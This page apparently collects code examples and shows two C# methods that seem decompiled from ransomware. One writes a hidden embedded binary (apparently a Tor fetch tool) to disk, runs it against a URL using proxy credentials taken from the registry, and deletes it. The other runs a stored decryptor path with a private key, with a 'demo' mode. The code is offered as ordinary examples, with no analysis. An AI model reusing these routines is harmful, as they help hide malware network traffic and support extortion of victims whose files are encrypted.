Ejemplo n.º 1
0
        public static string MakeRequest(string URL, bool useProxy)
        {
            PS.RedirectOutput = true;
            string str = "";

            if (useProxy)
            {
                string text  = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "Prx");
                string text2 = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "Cred");
                if (text == null)
                {
                    return("");
                }
                if (text2 != null)
                {
                    text = ((text.IndexOf("http://") != -1) ? text.Insert(7, text2 + "@") : text.Insert(8, text2 + "@"));
                }
                str = " -proxy " + text;
            }
            string arguments = "-iu " + URL + str;

            File.WriteAllBytes(Utils.TOR_GET_FNAME, Resources.tg);
            string arg_BD_0 = PS.ExecuteAndWait(Utils.TOR_GET_FNAME, arguments);

            File.Delete(Utils.TOR_GET_FNAME);
            PS.RedirectOutput = false;
            return(arg_BD_0);
        }
Ejemplo n.º 2
0
        public static void Decrypt(bool demo)
        {
            string path = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "wc_path");
            string text = (string)Utils.RegGetVal(Utils.REGISTRY_KEY, "private_key");

            if (demo)
            {
                PS.ExecuteAndWait(path, "-dd demo");
                return;
            }
            if (string.IsNullOrEmpty(text))
            {
                return;
            }
            PS.ExecuteAndWait(path, "-dd " + text);
        }